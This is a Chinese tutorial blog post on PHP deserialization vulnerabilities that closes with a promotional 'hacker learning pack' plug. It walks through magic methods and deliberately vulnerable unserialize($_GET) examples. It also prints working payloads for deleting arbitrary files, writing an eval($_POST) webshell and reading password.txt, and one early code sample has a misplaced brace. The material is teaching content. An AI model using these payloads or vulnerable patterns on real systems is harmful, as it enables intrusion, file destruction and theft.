还在啃“反序列化”这块硬骨头?从零基础到精通,收藏这篇就够了!


一、 啥是序列化?反序列化?(别慌,这俩概念贼简单!)

简单来说,序列化就是把咱们的对象,“biu”的一下变成字符串,方便存储和传输。那反序列化呢?就是把这个“biu”过的字符串,再“biu”回去,变回原来的对象,让程序接着用。在PHP里,这两个“biu”的操作分别由serialize()unserialize()函数负责。

二、 听说过反序列化漏洞没?没听过?那更得往下看了!

当程序“biu”回去的时候(也就是反序列化时),会偷偷摸摸地调用一些“神秘函数”,比如__wakeup(), __destruct()啥的。如果这些函数的参数,不小心被坏人控制了,他们就能往里面塞点恶意代码,搞事情!这就是传说中的反序列化漏洞。

三、 序列化函数(serialize):把对象变成“串儿”的魔法

在PHP里,咱们new 了一个对象之后,可以用serialize()把它变成一个字符串,就像给它穿上了一层“盔甲”,方便保存和传递。

来,上代码!

<?php 
 class Stu{
    public $name = 'aa';
    public $age = 18;
    public function demo(){
        echo "你好啊";
    }
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
}

?>

看看效果:

四、 反序列化(unserialize):让“串儿”变回对象的魔术

unserialize()就像一个“时光机”,能把序列化后的字符串,还原成原来的对象。为了能用这个对象,我们需要用unserialize重建它。

再来一段代码:

<?php 
    //定义一个Stu类
    class Stu
    {   
        //定义成员属性
        public $name = 'aa';
        public $age = 19;
        //定义成员方法
        public function demo()
        {
            echo '你吃了吗';
        }
    }
    //实例化对象
    $stu = new Stu();
    //进行序列化
    $stus = serialize($stu);
    print_r($stus);
    echo "<br><pre>";
    //进行反序列化
    print_r(unserialize($stus));
 ?>

效果Duang Duang Duang:

五、 别眨眼!PHP魔术方法要来了!

魔术方法是PHP面向对象编程的独门秘籍,它们在特定时刻会被自动触发,而且都以双下划线__开头。 掌握它们,你就能轻松玩转PHP的重载(Overloading,就是动态创建类属性和方法)。问题就出在重载的过程中,一不小心就执行了恶意代码。

六、 盘点一下那些年我们追过的魔术方法

  • __construct():构造函数,对象一出生(创建)的时候,它就跳出来跟你打招呼。
  • __destruct():析构函数,对象要嗝屁(销毁)的时候,它会出来跟你说拜拜。
  • __wakeup():反序列化的时候,它会看看你在不在,在的话就先跟你聊两句(初始化对象)。
  • __toString()当你把一个类当成字符串用的时候,它就会出来冒个泡。
  • __sleep():序列化的时候,它会问你想带走哪些属性(可设定序列化时保存的属性)。

七、 魔术方法骚操作:玩得好是魔法,玩不好是事故

实战演练,走起!

<?php
  class Stu
    {
       public $name = 'aa';
       public $age = 18;

      function __construct()
      {
        echo '对象被创建了__consrtuct()';
      }
      function __wakeup()
      {
        echo '执行了反序列化__wakeup()';
      }     
       function __toString()
      {
        echo '对象被当做字符串输出__toString';
        return 'asdsadsad';
      }
      function __sleep()
      {
        echo '执行了序列化__sleep';
        return array('name','age');
      }
      function __destruct()
      {
        echo '对象被销毁了__destruct()';
      }

    } 
    $stu =  new Stu();
    echo "<pre>";
   //序列化
    $stu_ser = serialize($stu);
    print_r($stu_ser);
    //当成字符串输出
    echo "$stu";
   //反序列化
    $stu_unser = unserialize($stu_ser);
    print_r($stu_unser);
?>

看看结果:

八、 反序列化漏洞实战:一不小心就“原地爆炸”

由于反序列化时unserialize()函数会自动召唤wakeup(), destruct()等“神兽”,如果这些神兽里藏着漏洞或者恶意代码,当我们控制了序列化的字符串,就会触发它们,从而搞破坏。

1. __destruct(): 死亡倒计时

假设有个网站的正常页面用logfile.php文件,里面的代码用unserialize()进行反序列化,而且反序列化的值是用户可以控制的! 先来个正常的Stu对象:

代码示例:

<?php 
    header("content-type:text/html;charset=utf-8");
    //引用了logfile.php文件
    include './logfile.php';
    //定义一个类
    class Stu
    {
        public $name = 'aa';
        public $age = 19;
        function StuData()
        {
            echo '姓名:'.$this->name.'<br>';
            echo '年龄:'.$this->age;
        }
    }
    //实例化对象
    $stu = new Stu();
    //重构用户输入的数据
    $newstu = unserialize($_GET['stu']);
    //O:3:"Stu":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;}
    echo "<pre>";
    var_dump($newstu) ;
 ?>

logfile.php代码:

<?php 
    class LogFile
    {
        //日志文件名
        public $filename = 'error.log';
        //存储日志文件
        function LogData($text)
        {
            //输出需要存储的内容
            echo 'log some data:'.$text.'<br>';
            file_put_contents($this->filename, $text,FILE_APPEND);
        }
        //删除日志文件
        function __destruct()
        {
            //输出删除的文件
            echo '析构函数__destruct 删除新建文件'.$this->filename;
            //绝对路径删除文件
            unlink(dirname(__FILE__).'/'.$this->filename);
        }
    } 
 ?>

正常情况下,我们输入参数:O:3:"Stu":2:{s:4:"name";s:2:"aa";s:3:"age";i:20;}

现在,我们来搞点事情,重构logfile.php文件包含的对象,让它可以删除文件!

  • 正常重构:O:7:"LogFile":1:{s:8:"filename";s:9:"error.log";}

一切正常,文件被删除了。但是,如果我们修改参数,让它删除其他文件呢?

  • 异常重构:O:7:"LogFile":1:{s:8:"filename";s:10:"../ljh.php";}
  • 执行这段代码

2. __wakeup(): 醒来搞事情

假设有段代码叫index.php,长这样:

<?php 
    class chybeta
    {
        public $test = '123';
        function __wakeup()
        {
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $class = @$_GET['test'];
    print_r($class);
    echo "</br>";
    $class_unser = unserialize($class);

    // 为显示效果,把这个shell.php包含进来
    require "shell.php";
 ?>

传入参数:?test=O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

再看看shell.php文件:

甚至可以传入一句话木马: O:7:"chybeta":1:{s:4:"test";s:25:"<?php eval($_POST[1]); ?>";}

3. __toString(): 把对象当字符串?那就别怪我不客气了!

举个栗子,某个用户类定义了__toString方法,让程序能把类当字符串输出(echo $obj)。 而且,其他类也可能定义了一个__toString方法,允许读取文件。把下面这段代码保存为fileread.php

fileread.php代码:

<?php 
    //读取文件类
    class FileRead
    {
        public $filename = 'error.log';
        function __toString()
        {
            return file_get_contents($this->filename);
        }
    }
 ?>

某个网站的正常页面引用了fileread.php文件,代码中使用unserialize()进行反序列化,而且反序列化的值是用户可控的!

测试代码:

<?php 
    //引用fileread.php文件
    include './fileread.php';
    //定义用户类
    class User
    {
        public $name = 'aa';
        public $age = 18;
        function __toString()
        {
            return '姓名:'.$this->name.';'.'年龄:'.$this->age;
        }
    }
    //O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
    //反序列化
    $obj = unserialize($_GET['user']);
    //当成字符串输出触发toString
    echo $obj;
 ?>

正常重构:O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}

现在,我们重构fileread.php文件包含的类,读取password.txt文件的内容!

重构:O:8:"FileRead":1:{s:8:"filename";s:12:"password.txt";}

九、 反序列化漏洞防御术:防患于未然,安全感爆棚!

和大多数漏洞一样,反序列化的问题也是用户参数控制不当引起的。 所以,最好的防御措施是:

  1. 不要把用户的输入或者用户可控的参数,直接扔进反序列化的操作里!
  2. 在进入反序列化函数之前,对参数进行严格的限制和过滤!

怎么样,看完是不是感觉功力大增,离安全老司机又近了一步? 赶紧把这些知识应用起来,保护你的网络安全吧!

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值